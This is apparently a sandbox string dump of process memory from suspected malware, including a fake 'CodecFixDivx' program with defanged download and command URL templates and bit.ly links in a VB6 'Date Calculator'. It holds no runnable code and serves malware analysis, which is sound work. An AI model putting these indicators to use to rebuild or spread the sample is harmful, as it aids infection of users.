zcÁ

C:\Windows\system32\ntvdm.exe

C:\Windows\system32\ntvdm.exe

\\.\B:

\\.\B:

COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

C:\Windows

C:\Windows

6$6(6,606

6$6(6,606

4L4K4Q4o4

4L4K4Q4o4

7-8}8

7-8}8

;

;

2 2$2(2,2024282

2 2$2(2,2024282

KERNEL32.DLL

KERNEL32.DLL

KERNELBASE.DLL

KERNELBASE.DLL

kernel32.dll

kernel32.dll

kernelbase.dll

kernelbase.dll

Microsoft.Windows.NTVDM

Microsoft.Windows.NTVDM

tWOW32.DLL

tWOW32.DLL

VDMREDIR.DLL

VDMREDIR.DLL

WINMM.DLL

WINMM.DLL

NTVDM.EXE

NTVDM.EXE

6.1.7600.16385 (win7_rtm.090713-1255)

6.1.7600.16385 (win7_rtm.090713-1255)

Windows

Windows

Operating System

Operating System

6.1.7600.16385

6.1.7600.16385

5The NTVDM CPU has encountered an illegal instruction."Internal error in NTVDM procedure.#NTVDM does not support a ROM BASIC.BFailure to allocate the requested number of Expanded Memory pages.*A continuous RESET state has been entered.

5The NTVDM CPU has encountered an illegal instruction."Internal error in NTVDM procedure.#NTVDM does not support a ROM BASIC.BFailure to allocate the requested number of Expanded Memory pages.*A continuous RESET state has been entered.

LAn installation file required by NTVDM is missing, execution must terminate.

LAn installation file required by NTVDM is missing, execution must terminate.

Insufficient memory resources.=The NTVDM CPU has encountered an unsupported 386 instruction.TThe EMM command line in your config.nt contains invalid parameters or syntax errors.5The NTVDM CPU has encountered an unhandled exception.t

Insufficient memory resources.=The NTVDM CPU has encountered an unsupported 386 instruction.TThe EMM command line in your config.nt contains invalid parameters or syntax errors.5The NTVDM CPU has encountered an unhandled exception.t

MS-DOS program files must end with the extension .EXE, .COM, or .BAT.

MS-DOS program files must end with the extension .EXE, .COM, or .BAT.

vAn application has attempted to %s, which cannot be supported. This may cause the application to function incorrectly./directly access an incompatible diskette format

vAn application has attempted to %s, which cannot be supported. This may cause the application to function incorrectly./directly access an incompatible diskette format

16 bit Windows Subsystem

16 bit Windows Subsystem

VThe system file is not suitable for running MS-DOS and Microsoft Windows applications."Memory error during intialization.

VThe system file is not suitable for running MS-DOS and Microsoft Windows applications."Memory error during intialization.

A temporary file needed for initialization could not be created or could not be written to. Make sure that the directory path exists, and disk space is available.-This system does not support fullscreen mode.?Insufficient memory to load installable Virtual Device Drivers.8Virtual Device Driver format in the registry is invalid.?An installable Virtual Device Driver failed Dll initialization.

A temporary file needed for initialization could not be created or could not be written to. Make sure that the directory path exists, and disk space is available.-This system does not support fullscreen mode.?Insufficient memory to load installable Virtual Device Drivers.8Virtual Device Driver format in the registry is invalid.?An installable Virtual Device Driver failed Dll initialization.

Unable to lock for exclusive access. Another application may be using the drive. When the other application has finished using the drive you may retry the operation.

Unable to lock for exclusive access. Another application may be using the drive. When the other application has finished using the drive you may retry the operation.

Drive %c: ZThe Application attempted to enable DOS graphics mode. DOS graphics mode is not supported.

Drive %c: ZThe Application attempted to enable DOS graphics mode. DOS graphics mode is not supported.

Function failed$NTVDM has encountered a System Error*Driver does not support selected Baud Rate

Function failed$NTVDM has encountered a System Error*Driver does not support selected Baud Rate

ntvdm.exe_4008_rwx_00000000_00010000:

C:\USERS\ADM\APPDATA\LOCAL\TEMP\WOWRR.EXE

C:\USERS\ADM\APPDATA\LOCAL\TEMP\WOWRR.EXE

WOWRR EXE

WOWRR EXE

."/\[]:| =;,

."/\[]:| =;,

c:\wina20.386

c:\wina20.386

%WinDir%\SYSTEM32\COUNTRY.SYS

%WinDir%\SYSTEM32\COUNTRY.SYS

89:;?

89:;?

1234567890-=

1234567890-=

[email protected]#$%^&*()_

[email protected]#$%^&*()_

789-456 1230.

789-456 1230.

!"#$%&,-./012

!"#$%&,-./012

t.exe

t.exe

%WinDir%\SYSTEM32\COMMAND.COM

%WinDir%\SYSTEM32\COMMAND.COM

%File allocation table bad, drive %1

%File allocation table bad, drive %1

Invalid COMMAND.COM

Invalid COMMAND.COM

!Press any key to continue . . .

!Press any key to continue . . .

Cannot execute %1

Cannot execute %1

Error in EXE file

Error in EXE file

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\scsC38D.tmp

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\scsC38D.tmp

arameter vaCOMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

arameter vaCOMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

OS=Windows_NT

OS=Windows_NT

PATH=C:\Perl\site\bin;C:\Perl\bin;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WINDOW~1\v1.0\;c:\PROGRA~1\WIRESH~1

PATH=C:\Perl\site\bin;C:\Perl\bin;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WINDOW~1\v1.0\;c:\PROGRA~1\WIRESH~1

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC

PSMODULEPATH=C:\Windows\system32\WindowsPowerShell\v1.0\Modules\

PSMODULEPATH=C:\Windows\system32\WindowsPowerShell\v1.0\Modules\

SYSTEMROOT=C:\Windows

SYSTEMROOT=C:\Windows

WINDOWS_TRACING_FLAGS=3

WINDOWS_TRACING_FLAGS=3

WINDOWS_TRACING_LOGFILE=C:\BVTBin\Tests\installpackage\csilogfile.log

WINDOWS_TRACING_LOGFILE=C:\BVTBin\Tests\installpackage\csilogfile.log

COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

File: Done.exe | Alfafile.net

File: Done.exe | Alfafile.net

  • Support
  • Support
  • Portugu
  • Portugu
  • $(document).ready(function() {

    $(document).ready(function() {

    $('input:checkbox:not(.nostyler)').styler();

    $('input:checkbox:not(.nostyler)').styler();

    (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),

    (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),

    m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)

    m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)

    })(window,document,'script','//VVV.google-analytics.com/analytics.js','ga');

    })(window,document,'script','//VVV.google-analytics.com/analytics.js','ga');

    %Intermediate file error during pipe

    %Intermediate file error during pipe

    Switches may be preset in the DIRCMD environment variable. Override

    Switches may be preset in the DIRCMD environment variable. Override

    >Quits the COMMAND.COM program (command interpreter).

    >Quits the COMMAND.COM program (command interpreter).

    ]Displays or sets a search path for executable files.

    ]Displays or sets a search path for executable files.

    $B | (pipe)

    $B | (pipe)

    %Displays the MS-DOS version.

    %Displays the MS-DOS version.

    LRecords comments (remarks) in a batch file or CONFIG.SYS.

    LRecords comments (remarks) in a batch file or CONFIG.SYS.

    key to continue...."

    key to continue...."

    PATH=PROMPT=COMSPEC=DIRCMD=

    PATH=PROMPT=COMSPEC=DIRCMD=

    .COM.EXE.BAT?VBAPWRHSvDANEDSG

    .COM.EXE.BAT?VBAPWRHSvDANEDSG

    %WinDir%\SYSTEM32

    %WinDir%\SYSTEM32

    []| =;"

    []| =;"

    fox.exe_3952:

    .text

    .text

    `.data

    `.data

    .rsrc

    .rsrc

    MSVBVM60.DLL

    MSVBVM60.DLL

    learn25 (arnel.c.decastro) Date Calculator Program

    learn25 (arnel.c.decastro) Date Calculator Program

    %Program Files% (x86)\Microsoft Visual Studio\VB98\VB6.OLB

    %Program Files% (x86)\Microsoft Visual Studio\VB98\VB6.OLB

    user32.dll

    user32.dll

    shell32.dll

    shell32.dll

    ShellExecuteA

    ShellExecuteA

    EnumChildWindows

    EnumChildWindows

    VBA6.DLL

    VBA6.DLL

    hXXp://bit.ly/2kIq8xQ

    hXXp://bit.ly/2kIq8xQ

    hXXp://bit.ly/2kyNWJf

    hXXp://bit.ly/2kyNWJf

    fox.exe

    fox.exe

    ntvdm.exe_4008_rwx_00010000_00090000:

    COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

    COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\scsC38D.tmp

    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\scsC38D.tmp

    89:;?

    89:;?

    D%WinDir%\SYSTEM32\HIMEM.SYS

    D%WinDir%\SYSTEM32\HIMEM.SYS

    Q001,437,%WinDir%\SYSTEM32\COUNTRY.SYS

    Q001,437,%WinDir%\SYSTEM32\COUNTRY.SYS

    S%WinDir%\SYSTEM32\COMMAND.COM

    S%WinDir%\SYSTEM32\COMMAND.COM

    /P %WinDir%\SYSTEM32

    /P %WinDir%\SYSTEM32

    /P %WinDir%\SYSTEM32

    /P %WinDir%\SYSTEM32

    %WinDir%\SYSTEM32\COUNTRY.SYS

    %WinDir%\SYSTEM32\COUNTRY.SYS

    []| =;"

    []| =;"

    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\scsC38C.tmp

    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\scsC38C.tmp

    %WinDir%\SYSTEM32\COMMAND.COM

    %WinDir%\SYSTEM32\COMMAND.COM

    NTCMDPROMPTT

    NTCMDPROMPTT

    Unrecognized command in CONFIG.SYS

    Unrecognized command in CONFIG.SYS

    Insufficient memory for COUNTRY.SYS file

    Insufficient memory for COUNTRY.SYS file

    Incorrect order in CONFIG.SYS line $Error in CONFIG.SYS line $WARNING! Logical drives past Z: exist and will be ignored

    Incorrect order in CONFIG.SYS line $Error in CONFIG.SYS line $WARNING! Logical drives past Z: exist and will be ignored

    1234567890-=

    1234567890-=

    [email protected]#$%^&*()_

    [email protected]#$%^&*()_

    789-456 1230.

    789-456 1230.

    !"#$%&,-./012

    !"#$%&,-./012

    00030

    00030

    30333

    30333

    ?0?3???

    ?0?3???

    Windows NT MS-DOS subsystem Mouse Driver

    Windows NT MS-DOS subsystem Mouse Driver

    /)()(00)(

    /)()(00)(

    /@%}-{.Nb#b

    /@%}-{.Nb#b

    t.exe

    t.exe

    !Press any key to continue . . .

    !Press any key to continue . . .

    %Intermediate file error during pipe

    %Intermediate file error during pipe

    Switches may be preset in the DIRCMD environment variable. Override

    Switches may be preset in the DIRCMD environment variable. Override

    >Quits the COMMAND.COM program (command interpreter).

    >Quits the COMMAND.COM program (command interpreter).

    ]Displays or sets a search path for executable files.

    ]Displays or sets a search path for executable files.

    $B | (pipe)

    $B | (pipe)

    %Displays the MS-DOS version.

    %Displays the MS-DOS version.

    LRecords comments (remarks) in a batch file or CONFIG.SYS.

    LRecords comments (remarks) in a batch file or CONFIG.SYS.

    key to continue...."

    key to continue...."

    PATH=PROMPT=COMSPEC=DIRCMD=

    PATH=PROMPT=COMSPEC=DIRCMD=

    .COM.EXE.BAT?VBAPWRHSvDANEDSG

    .COM.EXE.BAT?VBAPWRHSvDANEDSG

    %WinDir%\SYSTEM32\DOSX

    %WinDir%\SYSTEM32\DOSX

    NT.EXE

    NT.EXE

    C:\USERS\ADM\APPDATA\LOCAL\TEMP\WOWRR.EXE

    C:\USERS\ADM\APPDATA\LOCAL\TEMP\WOWRR.EXE

    nt.exe

    nt.exe

    DOSX.EXE

    DOSX.EXE

    ntvdm.exe_4008_rwx_000A0000_0002B000:

    66666666

    66666666

    6666666

    6666666

    6666666666666666

    6666666666666666

    6666666676666666

    6666666676666666

    6666667076666666

    6666667076666666

    66666666666

    66666666666

    66666707666

    66666707666

    66666666666666666666

    66666666666666666666

    66666666666707666666

    66666666666707666666

    6666666666666

    6666666666666

    89:;?

    89:;?

    '/7?-16:?

    '/7?-16:?

    V M ware, Inc. VBE support 2.0

    V M ware, Inc. VBE support 2.0

    $o.o.oJo.o8o

    $o.o.oJo.o8o

    ntvdm.exe_4008_rwx_000CB000_00011000:

    COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

    COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

    OS=Windows_NT

    OS=Windows_NT

    PATH=C:\Perl\site\bin;C:\Perl\bin;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WINDOW~1\v1.0\;c:\PROGRA~1\WIRESH~1

    PATH=C:\Perl\site\bin;C:\Perl\bin;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WINDOW~1\v1.0\;c:\PROGRA~1\WIRESH~1

    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC

    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC

    PSMODULEPATH=C:\Windows\system32\WindowsPowerShell\v1.0\Modules\

    PSMODULEPATH=C:\Windows\system32\WindowsPowerShell\v1.0\Modules\

    SYSTEMROOT=C:\Windows

    SYSTEMROOT=C:\Windows

    WINDOWS_TRACING_FLAGS=3

    WINDOWS_TRACING_FLAGS=3

    WINDOWS_TRACING_LOGFILE=C:\BVTBin\Tests\installpackage\csilogfile.log

    WINDOWS_TRACING_LOGFILE=C:\BVTBin\Tests\installpackage\csilogfile.log

    C:\Windows\system32\DOSX.EXE

    C:\Windows\system32\DOSX.EXE

    C:\Windows\system32\mscdexnt.exe

    C:\Windows\system32\mscdexnt.exe

    C:\Windows\system32\redir

    C:\Windows\system32\redir

    nt.exe

    nt.exe

    C:\LANMAN.DOS

    C:\LANMAN.DOS

    C:\Windows\system32\dosx

    C:\Windows\system32\dosx

    C:\Windows\SYSTEM.INI

    C:\Windows\SYSTEM.INI

    STEM.INI

    STEM.INI

    SYSTEM.INI

    SYSTEM.INI

    ntvdm.exe_4008_rwx_000DC000_0000C000:

    06/02/2011

    06/02/2011

    000000000000

    000000000000

    Keyboard

    Keyboard

    [MS_VM_CERT/SHA1/27d66596a61c48dd3dc7216fd715126e33f59ae7]

    [MS_VM_CERT/SHA1/27d66596a61c48dd3dc7216fd715126e33f59ae7]

    ntvdm.exe_4008_rwx_000E8000_00008000:

    00030

    00030

    30333

    30333

    ?0?3???

    ?0?3???

    Windows NT MS-DOS subsystem Mouse Driver

    Windows NT MS-DOS subsystem Mouse Driver

    ntvdm.exe_4008_rwx_000F0000_00010000:

    :[MS_VM_CERT/SHA1/27d66596a61c48dd3dc7216fd715126e33f59ae7]

    :[MS_VM_CERT/SHA1/27d66596a61c48dd3dc7216fd715126e33f59ae7]

    Operating System not found

    Operating System not found

    Operating System not found, retrying boot now...

    Operating System not found, retrying boot now...

    Operating System not found, retrying boot in

    Operating System not found, retrying boot in

    Windows XP Mode active

    Windows XP Mode active

    06/02/11

    06/02/11

    08:28:06

    08:28:06

    00/00/00

    00/00/00

    00:00:00

    00:00:00

    /8.BCPNV

    /8.BCPNV

    1234567890-=

    1234567890-=

    ntvdm.exe_4008_rwx_00100000_00010000:

    C:\USERS\ADM\APPDATA\LOCAL\TEMP\WOWRR.EXE

    C:\USERS\ADM\APPDATA\LOCAL\TEMP\WOWRR.EXE

    WOWRR EXE

    WOWRR EXE

    ."/\[]:| =;,

    ."/\[]:| =;,

    c:\wina20.386

    c:\wina20.386

    %WinDir%\SYSTEM32\COUNTRY.SYS

    %WinDir%\SYSTEM32\COUNTRY.SYS

    89:;?

    89:;?

    1234567890-=

    1234567890-=

    [email protected]#$%^&*()_

    [email protected]#$%^&*()_

    789-456 1230.

    789-456 1230.

    !"#$%&,-./012

    !"#$%&,-./012

    t.exe

    t.exe

    %WinDir%\SYSTEM32\COMMAND.COM

    %WinDir%\SYSTEM32\COMMAND.COM

    %File allocation table bad, drive %1

    %File allocation table bad, drive %1

    Invalid COMMAND.COM

    Invalid COMMAND.COM

    !Press any key to continue . . .

    !Press any key to continue . . .

    Cannot execute %1

    Cannot execute %1

    Error in EXE file

    Error in EXE file

    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\scsC38D.tmp

    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\scsC38D.tmp

    arameter vaCOMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

    arameter vaCOMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

    OS=Windows_NT

    OS=Windows_NT

    PATH=C:\Perl\site\bin;C:\Perl\bin;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WINDOW~1\v1.0\;c:\PROGRA~1\WIRESH~1

    PATH=C:\Perl\site\bin;C:\Perl\bin;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WINDOW~1\v1.0\;c:\PROGRA~1\WIRESH~1

    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC

    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC

    PSMODULEPATH=C:\Windows\system32\WindowsPowerShell\v1.0\Modules\

    PSMODULEPATH=C:\Windows\system32\WindowsPowerShell\v1.0\Modules\

    SYSTEMROOT=C:\Windows

    SYSTEMROOT=C:\Windows

    WINDOWS_TRACING_FLAGS=3

    WINDOWS_TRACING_FLAGS=3

    WINDOWS_TRACING_LOGFILE=C:\BVTBin\Tests\installpackage\csilogfile.log

    WINDOWS_TRACING_LOGFILE=C:\BVTBin\Tests\installpackage\csilogfile.log

    COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

    COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM

    File: Done.exe | Alfafile.net

    File: Done.exe | Alfafile.net

  • Support
  • Support
  • Portugu

  • Portugu

    $(document).ready(function() {

    $(document).ready(function() {

    $('input:checkbox:not(.nostyler)').styler();

    $('input:checkbox:not(.nostyler)').styler();

    (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),

    (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),

    m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)

    m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)

    })(window,document,'script','//VVV.google-analytics.com/analytics.js','ga');

    })(window,document,'script','//VVV.google-analytics.com/analytics.js','ga');

    %Intermediate file error during pipe

    %Intermediate file error during pipe

    Switches may be preset in the DIRCMD environment variable. Override

    Switches may be preset in the DIRCMD environment variable. Override

    >Quits the COMMAND.COM program (command interpreter).

    >Quits the COMMAND.COM program (command interpreter).

    ]Displays or sets a search path for executable files.

    ]Displays or sets a search path for executable files.

    $B | (pipe)

    $B | (pipe)

    %Displays the MS-DOS version.

    %Displays the MS-DOS version.

    LRecords comments (remarks) in a batch file or CONFIG.SYS.

    LRecords comments (remarks) in a batch file or CONFIG.SYS.

    key to continue...."

    key to continue...."

    PATH=PROMPT=COMSPEC=DIRCMD=

    PATH=PROMPT=COMSPEC=DIRCMD=

    .COM.EXE.BAT?VBAPWRHSvDANEDSG

    .COM.EXE.BAT?VBAPWRHSvDANEDSG

    %WinDir%\SYSTEM32

    %WinDir%\SYSTEM32

    []| =;"

    []| =;"

    conhost.exe_4028:

    .text

    .text

    `.data

    `.data

    .rsrc

    .rsrc

    @.reloc

    @.reloc

    GDI32.dll

    GDI32.dll

    USER32.dll

    USER32.dll

    msvcrt.dll

    msvcrt.dll

    ntdll.dll

    ntdll.dll

    API-MS-Win-Core-LocalRegistry-L1-1-0.dll

    API-MS-Win-Core-LocalRegistry-L1-1-0.dll

    KERNEL32.dll

    KERNEL32.dll

    IMM32.dll

    IMM32.dll

    ole32.dll

    ole32.dll

    OLEAUT32.dll

    OLEAUT32.dll

    PutInputInBuffer: EventsWritten != 1 (0x%x), 1 expected

    PutInputInBuffer: EventsWritten != 1 (0x%x), 1 expected

    Invalid message 0x%x

    Invalid message 0x%x

    InitExtendedEditKeys: Unsupported version number(%d)

    InitExtendedEditKeys: Unsupported version number(%d)

    Console init failed with status 0x%x

    Console init failed with status 0x%x

    CreateWindowsWindow failed with status 0x%x, gle = 0x%x

    CreateWindowsWindow failed with status 0x%x, gle = 0x%x

    InitWindowsStuff failed with status 0x%x (gle = 0x%x)

    InitWindowsStuff failed with status 0x%x (gle = 0x%x)

    InitSideBySide failed create an activation context. Error: %d

    InitSideBySide failed create an activation context. Error: %d

    GetModuleFileNameW requires more than ScratchBufferSize(%d) - 1.

    GetModuleFileNameW requires more than ScratchBufferSize(%d) - 1.

    GetModuleFileNameW failed %d.

    GetModuleFileNameW failed %d.

    Invalid EventType: 0x%x

    Invalid EventType: 0x%x

    Dup handle failed for %d of %d (Status = 0x%x)

    Dup handle failed for %d of %d (Status = 0x%x)

    Couldn't grow input buffer, Status == 0x%x

    Couldn't grow input buffer, Status == 0x%x

    InitializeScrollBuffer failed, Status = 0x%x

    InitializeScrollBuffer failed, Status = 0x%x

    CreateWindow failed with gle = 0x%x

    CreateWindow failed with gle = 0x%x

    Opening Font file failed with error 0x%x

    Opening Font file failed with error 0x%x

    \ega.cpi

    \ega.cpi

    NtReplyWaitReceivePort failed with Status 0x%x

    NtReplyWaitReceivePort failed with Status 0x%x

    ConsoleOpenWaitEvent failed with Status 0x%x

    ConsoleOpenWaitEvent failed with Status 0x%x

    NtCreatePort failed with Status 0x%x

    NtCreatePort failed with Status 0x%x

    GetCharWidth32 failed with error 0x%x

    GetCharWidth32 failed with error 0x%x

    GetTextMetricsW failed with error 0x%x

    GetTextMetricsW failed with error 0x%x

    GetSystemEUDCRangeW: RegOpenKeyExW(%ws) failed, error = 0x%x

    GetSystemEUDCRangeW: RegOpenKeyExW(%ws) failed, error = 0x%x

    RtlStringCchCopy failed with Status 0x%x

    RtlStringCchCopy failed with Status 0x%x

    Cannot allocate 0n%d bytes

    Cannot allocate 0n%d bytes

    |%SWj

    |%SWj

    O.fBf;

    O.fBf;

    ReCreateDbcsScreenBuffer failed. Restoring to CP=%d

    ReCreateDbcsScreenBuffer failed. Restoring to CP=%d

    Invalid Parameter: 0x%x, 0x%x, 0x%x

    Invalid Parameter: 0x%x, 0x%x, 0x%x

    ConsoleKeyInfo buffer is full

    ConsoleKeyInfo buffer is full

    Invalid screen buffer size (0x%x, 0x%x)

    Invalid screen buffer size (0x%x, 0x%x)

    SetROMFontCodePage: failed to memory allocation %d bytes

    SetROMFontCodePage: failed to memory allocation %d bytes

    FONT.NT

    FONT.NT

    Failed to set font image. wc=x, sz=(%x,%x)

    Failed to set font image. wc=x, sz=(%x,%x)

    Failed to set font image. wc=x sz=(%x, %x).

    Failed to set font image. wc=x sz=(%x, %x).

    Failed to set font image. wc=x sz=(%x,%x)

    Failed to set font image. wc=x sz=(%x,%x)

    FullscreenControlSetColors failed - Status = 0x%x

    FullscreenControlSetColors failed - Status = 0x%x

    FullscreenControlSetPalette failed - Status = 0x%x

    FullscreenControlSetPalette failed - Status = 0x%x

    WriteCharsFromInput failed 0x%x

    WriteCharsFromInput failed 0x%x

    WriteCharsFromInput failed %x

    WriteCharsFromInput failed %x

    RtlStringCchCopyW failed with Status 0x%x

    RtlStringCchCopyW failed with Status 0x%x

    CreateFontCache failed with Status 0x%x

    CreateFontCache failed with Status 0x%x

    FTPh

    FTPh

    \>.Sj

    \>.Sj

    GetKeyboardLayout

    GetKeyboardLayout

    MapVirtualKeyW

    MapVirtualKeyW

    VkKeyScanW

    VkKeyScanW

    GetKeyboardState

    GetKeyboardState

    UnhookWindowsHookEx

    UnhookWindowsHookEx

    SetWindowsHookExW

    SetWindowsHookExW

    GetKeyState

    GetKeyState

    ActivateKeyboardLayout

    ActivateKeyboardLayout

    GetKeyboardLayoutNameA

    GetKeyboardLayoutNameA

    GetKeyboardLayoutNameW

    GetKeyboardLayoutNameW

    _amsg_exit

    _amsg_exit

    _acmdln

    _acmdln

    ShipAssert

    ShipAssert

    NtReplyWaitReceivePort

    NtReplyWaitReceivePort

    NtCreatePort

    NtCreatePort

    NtEnumerateValueKey

    NtEnumerateValueKey

    NtQueryValueKey

    NtQueryValueKey

    NtOpenKey

    NtOpenKey

    NtAcceptConnectPort

    NtAcceptConnectPort

    NtReplyPort

    NtReplyPort

    SetProcessShutdownParameters

    SetProcessShutdownParameters

    GetCPInfo

    GetCPInfo

    conhost.pdb

    conhost.pdb

    %$%a%b%V%U%c%Q%W%]%\%[%

    %$%a%b%V%U%c%Q%W%]%\%[%

    %

    %

    version="5.1.0.0"

    version="5.1.0.0"

    name="Microsoft.Windows.ConsoleHost"

    name="Microsoft.Windows.ConsoleHost"

    name="Microsoft.Windows.ConsoleHost.SystemDefault"

    name="Microsoft.Windows.ConsoleHost.SystemDefault"

    publicKeyToken="6595b64144ccf1df"

    publicKeyToken="6595b64144ccf1df"

    name="Microsoft.Windows.SystemCompatible"

    name="Microsoft.Windows.SystemCompatible"

    version="6.0.0.0"

    version="6.0.0.0"

    publicKeyToken="6595b64144ccf1df"

    publicKeyToken="6595b64144ccf1df"

    :>@>

    :>@>

    2%2X2

    2%2X2

    %SystemRoot%

    %SystemRoot%

    \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Console\TrueTypeFont

    \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Console\TrueTypeFont

    \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Console\FullScreen

    \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Console\FullScreen

    WindowSize

    WindowSize

    ColorTableu

    ColorTableu

    ExtendedEditkeyCustom

    ExtendedEditkeyCustom

    ExtendedEditKey

    ExtendedEditKey

    Software\Microsoft\Windows\CurrentVersion

    Software\Microsoft\Windows\CurrentVersion

    \ !:=/.;|&

    \ !:=/.;|&

    %d/%d

    %d/%d

    cmd.exe

    cmd.exe

    desktop.ini

    desktop.ini

    \console.dll

    \console.dll

    %d/%d

    %d/%d

    6.1.7601.17641 (win7sp1_gdr.110623-1503)

    6.1.7601.17641 (win7sp1_gdr.110623-1503)

    CONHOST.EXE

    CONHOST.EXE

    Windows

    Windows

    Operating System

    Operating System

    6.1.7601.17641

    6.1.7601.17641

    CodecFixDivx.exe_4036:

    .text

    .text

    `.rdata

    `.rdata

    @.data

    @.data

    .gfids

    .gfids

    @.rsrc

    @.rsrc

    @.reloc

    @.reloc

    B.nmb

    B.nmb

    operator

    operator

    operator ""

    operator ""

    %S#[k

    %S#[k

    .text$mn

    .text$mn

    .idata$5

    .idata$5

    .CRT$XCA

    .CRT$XCA

    .CRT$XCAA

    .CRT$XCAA

    .CRT$XCZ

    .CRT$XCZ

    .CRT$XIA

    .CRT$XIA

    .CRT$XIAA

    .CRT$XIAA

    .CRT$XIAC

    .CRT$XIAC

    .CRT$XIC

    .CRT$XIC

    .CRT$XIZ

    .CRT$XIZ

    .CRT$XPA

    .CRT$XPA

    .CRT$XPX

    .CRT$XPX

    .CRT$XPXA

    .CRT$XPXA

    .CRT$XPZ

    .CRT$XPZ

    .CRT$XTA

    .CRT$XTA

    .CRT$XTZ

    .CRT$XTZ

    .rdata

    .rdata

    .rdata$sxdata

    .rdata$sxdata

    .rdata$zzzdbg

    .rdata$zzzdbg

    .rtc$IAA

    .rtc$IAA

    .rtc$IZZ

    .rtc$IZZ

    .rtc$TAA

    .rtc$TAA

    .rtc$TZZ

    .rtc$TZZ

    .xdata$x

    .xdata$x

    .idata$2

    .idata$2

    .idata$3

    .idata$3

    .idata$4

    .idata$4

    .idata$6

    .idata$6

    .data

    .data

    .gfids$x

    .gfids$x

    .gfids$y

    .gfids$y

    .rsrc$01

    .rsrc$01

    .rsrc$02

    .rsrc$02

    KERNEL32.dll

    KERNEL32.dll

    USER32.dll

    USER32.dll

    GetCPInfo

    GetCPInfo

    GetProcessHeap

    GetProcessHeap

    6 [email protected]\6`6

    6 [email protected]\6`6

    .rsrc

    .rsrc

    EI|%C}

    EI|%C}

    D$8j.Xf

    D$8j.Xf

    j.Yf;

    j.Yf;

    [email protected]

    [email protected]

    .PjRW

    .PjRW

    function not supported

    function not supported

    operation canceled

    operation canceled

    address_family_not_supported

    address_family_not_supported

    operation_in_progress

    operation_in_progress

    operation_not_supported

    operation_not_supported

    protocol_not_supported

    protocol_not_supported

    operation_would_block

    operation_would_block

    address family not supported

    address family not supported

    broken pipe

    broken pipe

    inappropriate io control operation

    inappropriate io control operation

    not supported

    not supported

    operation in progress

    operation in progress

    operation not permitted

    operation not permitted

    operation not supported

    operation not supported

    operation would block

    operation would block

    protocol not supported

    protocol not supported

    GetProcessWindowStation

    GetProcessWindowStation

    openUrl

    openUrl

    appCmd

    appCmd

    appImageUrl

    appImageUrl

    appSetupUrl

    appSetupUrl

    appTYUrl

    appTYUrl

    HTTP/1.1

    HTTP/1.1

    GET hXXp://

    GET hXXp://

    POST hXXp://

    POST hXXp://

    hXXps://

    hXXps://

    hXXp://

    hXXp://

    Fx

    Fx

    id[]=%d

    id[]=%d

    application/x-www-form-urlencoded

    application/x-www-form-urlencoded

    Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice

    Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice

    IE.HTTP

    IE.HTTP

    FirefoxURL

    FirefoxURL

    Firefox

    Firefox

    ChromeHTML

    ChromeHTML

    Chrome

    Chrome

    HTTP\shell\open\command

    HTTP\shell\open\command

    RegOpenKeyTransactedW

    RegOpenKeyTransactedW

    CreateDialogIndirectParamW

    CreateDialogIndirectParamW

    CryptImportKey

    CryptImportKey

    CryptSetKeyParam

    CryptSetKeyParam

    CryptDestroyKey

    CryptDestroyKey

    RegOpenKeyExW

    RegOpenKeyExW

    RegCloseKey

    RegCloseKey

